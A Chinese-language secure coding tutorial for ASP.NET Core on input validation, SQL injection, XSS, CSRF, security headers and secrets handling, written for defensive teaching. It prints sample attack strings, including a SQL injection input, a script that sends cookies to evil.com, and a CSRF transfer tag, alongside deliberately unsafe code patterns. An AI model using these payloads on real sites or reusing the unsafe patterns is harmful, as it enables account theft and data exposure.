安全開發實踐
為什麼開發者要懂資安?
💡 比喻:蓋房子 你蓋了一棟漂亮的房子,但忘了裝門鎖。 小偷不需要翻牆,直接開門就進去了。 安全開發就是在蓋房子的時候就把鎖裝好, 而不是被偷了之後才加裝。
常見攻擊排行(OWASP Top 10 精選):
├── SQL Injection → 最經典的攻擊方式
├── XSS(跨站腳本) → 在別人的網站執行你的程式碼
├── CSRF(跨站請求偽造)→ 偷偷代替你執行操作
├── 認證問題 → 密碼太簡單、Session 管理不當
└── 敏感資料外洩 → 密碼明文存儲、API Key 寫死
1. 輸入驗證與清理
黃金法則:永遠不要信任使用者的輸入!
所有來自外部的資料都可能是惡意的:
├── 表單欄位
├── URL 參數
├── HTTP Headers
├── Cookie
├── 檔案上傳
└── API 請求主體
// ASP.NET Core Model Validation(模型驗證)
using System.ComponentModel.DataAnnotations;
// 用 Data Annotations 定義驗證規則
public class RegisterRequest
{
[Required(ErrorMessage = "使用者名稱是必填的")]
[StringLength(50, MinimumLength = 3, ErrorMessage = "名稱長度必須在 3-50 字元之間")]
[RegularExpression(@"^[a-zA-Z0-9_]+$", ErrorMessage = "只能包含英文、數字和底線")]
public string Username { get; set; } = "";
[Required(ErrorMessage = "Email 是必填的")]
[EmailAddress(ErrorMessage = "Email 格式不正確")]
public string Email { get; set; } = "";
[Required(ErrorMessage = "密碼是必填的")]
[MinLength(8, ErrorMessage = "密碼至少 8 個字元")]
public string Password { get; set; } = "";
}
// Controller 中檢查 ModelState
[HttpPost("register")]
public IActionResult Register([FromBody] RegisterRequest request)
{
// ModelState.IsValid 會自動根據 Data Annotations 驗證
if (!ModelState.IsValid)
{
// 回傳 400 Bad Request 和錯誤訊息
return BadRequest(ModelState);
}
// 驗證通過,繼續處理...
return Ok("註冊成功");
}
2. 防止 SQL Injection
SQL Injection 原理:
正常查詢:
SELECT * FROM Users WHERE Name = '小明'
駭客輸入:' OR '1'='1' --
變成:
SELECT * FROM Users WHERE Name = '' OR '1'='1' --'
→ 1=1 永遠為真,回傳所有使用者!
// ❌ 危險:字串拼接 SQL(SQL Injection 的溫床)
var username = "' OR '1'='1' --"; // 駭客的輸入
// 直接把使用者輸入拼進 SQL,超級危險!
var sql = $"SELECT * FROM Users WHERE Name = '{username}'";
// 結果:SELECT * FROM Users WHERE Name = '' OR '1'='1' --'
// 回傳所有使用者的資料!
// ✅ 安全:使用參數化查詢
using var connection = new SqlConnection(connectionString);
// 用 @username 作為參數佔位符
var safeSql = "SELECT * FROM Users WHERE Name = @username";
// 建立命令物件
using var command = new SqlCommand(safeSql, connection);
// 把使用者輸入當作參數傳入(會自動轉義特殊字元)
command.Parameters.AddWithValue("@username", username);
// ✅ 更好:使用 Entity Framework Core(天生防 SQL Injection)
var user = await _db.Users
// EF Core 自動使用參數化查詢
.Where(u => u.Name == username)
.FirstOrDefaultAsync();
// ⚠️ 注意:EF Core 的 FromSqlRaw 仍然有風險
// ❌ 危險
var users = _db.Users.FromSqlRaw($"SELECT * FROM Users WHERE Name = '{username}'");
// ✅ 安全:用 FromSqlInterpolated
var safeUsers = _db.Users.FromSqlInterpolated(
$"SELECT * FROM Users WHERE Name = {username}"
);
3. 防止 XSS(跨站腳本攻擊)
XSS 原理:
駭客在留言板輸入:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
如果網站沒有過濾,其他使用者看到這則留言時,
瀏覽器會執行這段 JavaScript,把 Cookie 送到駭客的伺服器!
// ASP.NET Core Razor 自動編碼(預設就有 XSS 防護)
// ✅ 安全:Razor 的 @ 會自動 HTML 編碼
// @Model.Username 會把 <script> 變成 <script>
// ❌ 危險:使用 Html.Raw() 會繞過編碼
// @Html.Raw(Model.Username) ← 千萬不要對使用者輸入用 Html.Raw!
// ✅ 手動編碼(如果需要在 API 中回傳)
using System.Web;
var userInput = "<script>alert('XSS')</script>";
// 把 HTML 特殊字元轉義
var safeOutput = HttpUtility.HtmlEncode(userInput);
// 輸出:<script>alert('XSS')</script>
Console.WriteLine(safeOutput);
Content Security Policy(CSP)
// 在 ASP.NET Core 設定 CSP Header
// Program.cs 中加入中介軟體
app.Use(async (context, next) =>
{
// 設定 CSP 標頭,限制可以執行的腳本來源
context.Response.Headers.Append(
"Content-Security-Policy",
// 只允許同源的腳本和指定的 CDN
"default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'"
);
// 繼續處理請求
await next();
});
4. 防止 CSRF(跨站請求偽造)
CSRF 原理:
你正在登入銀行網站(有 Cookie),
然後你開了另一個惡意網站,裡面有:
<img src="https://bank.com/transfer?to=hacker&amount=10000">
瀏覽器會自動帶上銀行的 Cookie 去請求,
銀行以為是你本人操作,就轉帳了!
// ASP.NET Core 內建 CSRF 防護
// 1. 在 Program.cs 啟用 Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
// 設定 CSRF Token 的 Header 名稱
options.HeaderName = "X-CSRF-TOKEN";
});
// 2. Controller 加上 [ValidateAntiForgeryToken]
[HttpPost]
[ValidateAntiForgeryToken] // 自動驗證 CSRF Token
public IActionResult Transfer(TransferRequest request)
{
// 只有帶有正確 CSRF Token 的請求才會進來
return Ok("轉帳成功");
}
// 3. Razor 表單自動帶 Token
// <form method="post">
// @Html.AntiForgeryToken() ← 自動產生隱藏欄位
// <button type="submit">送出</button>
// </form>
5. 安全 Headers
// 在 ASP.NET Core 設定安全 Headers
app.Use(async (context, next) =>
{
var headers = context.Response.Headers;
// 防止被嵌入 iframe(防 Clickjacking)
headers.Append("X-Frame-Options", "DENY");
// 啟用 XSS 過濾器
headers.Append("X-Content-Type-Options", "nosniff");
// 強制使用 HTTPS(HSTS)
headers.Append("Strict-Transport-Security", "max-age=31536000; includeSubDomains");
// 控制 Referrer 資訊洩漏
headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");
// 權限控制(禁用不需要的瀏覽器功能)
headers.Append("Permissions-Policy", "camera=(), microphone=(), geolocation=()");
// 繼續處理請求
await next();
});
常見安全 Headers 說明:
Header 用途
──────────────────────────────────────────────────
X-Frame-Options 防止網頁被嵌入 iframe
X-Content-Type-Options 防止瀏覽器猜測內容類型
Strict-Transport-Security 強制使用 HTTPS
Content-Security-Policy 限制資源載入來源
Referrer-Policy 控制 Referrer 標頭
Permissions-Policy 控制瀏覽器 API 權限
6. Secrets 管理
機密資料不該出現在原始碼中!
常見的機密資料:
├── 資料庫連線字串
├── API Key
├── JWT Secret
├── 第三方服務的帳密
└── 加密金鑰
// 開發環境:User Secrets
// 初始化 User Secrets(在專案目錄執行)
// dotnet user-secrets init
// 設定密碼
// dotnet user-secrets set "ConnectionStrings:Default" "Server=..."
// 設定 JWT 金鑰
// dotnet user-secrets set "Jwt:Key" "your-secret-key"
// 在 Program.cs 中讀取(開發環境自動載入 User Secrets)
var connectionString = builder.Configuration.GetConnectionString("Default");
// JWT 金鑰從設定讀取
var jwtKey = builder.Configuration["Jwt:Key"];
// 正式環境:環境變數
// Linux/macOS: export ConnectionStrings__Default="Server=..."
// Windows: set ConnectionStrings__Default=Server=...
// Docker: docker run -e ConnectionStrings__Default="Server=..." myapp
// Azure Key Vault(雲端環境的最佳選擇)
// 把機密儲存在 Azure Key Vault,應用程式用 Managed Identity 讀取
// builder.Configuration.AddAzureKeyVault(
// new Uri("https://my-vault.vault.azure.net/"),
// new DefaultAzureCredential()
// );
🤔 我這樣寫為什麼會錯?
❌ 錯誤 1:只做前端驗證
// ❌ 前端驗證可以被繞過!
// 駭客可以用 Postman 或 curl 直接發請求,完全繞過前端驗證
if (password.length < 8) {
alert("密碼太短");
}
// ✅ 正確:前後端都要驗證
// 前端驗證 → 改善使用者體驗(即時回饋)
// 後端驗證 → 真正的安全防線(不可繞過)
[HttpPost]
public IActionResult Register([FromBody] RegisterRequest request)
{
// 後端一定要驗證!前端驗證只是 UX,不是安全措施
if (!ModelState.IsValid)
{
return BadRequest(ModelState);
}
// 繼續處理...
return Ok();
}
❌ 錯誤 2:在錯誤訊息中洩漏太多資訊
// ❌ 錯誤:告訴駭客哪裡錯了
if (user == null)
return BadRequest("此帳號不存在"); // 駭客知道帳號不存在
if (!VerifyPassword(password, user.PasswordHash))
return BadRequest("密碼錯誤"); // 駭客知道帳號存在,只是密碼錯
// ✅ 正確:統一錯誤訊息,不洩漏細節
// 不管是帳號不存在還是密碼錯,都回傳同一個訊息
return BadRequest("帳號或密碼錯誤");
❌ 錯誤 3:把機密推上 Git
❌ 這些檔案不該被推上 Git:
├── appsettings.Development.json(含本機密碼)
├── .env(環境變數檔)
├── credentials.json
└── *.pfx / *.pem(憑證檔)
✅ 正確做法:
1. 在 .gitignore 加入這些檔案
2. 使用 User Secrets(開發)
3. 使用環境變數(正式)
4. 如果不小心推上去了,要立即更換密碼!
(就算刪除 commit,Git 歷史紀錄還是有)
💡 重點整理
| 概念 | 說明 |
|---|---|
| 輸入驗證 | 永遠不信任使用者輸入,前後端都要驗證 |
| SQL Injection | 用參數化查詢或 EF Core 防禦 |
| XSS | 使用 HTML 編碼和 CSP Header |
| CSRF | 使用 Anti-Forgery Token |
| 安全 Headers | X-Frame-Options、HSTS 等 |
| Secrets 管理 | User Secrets(開發)、環境變數(正式)、Key Vault(雲端) |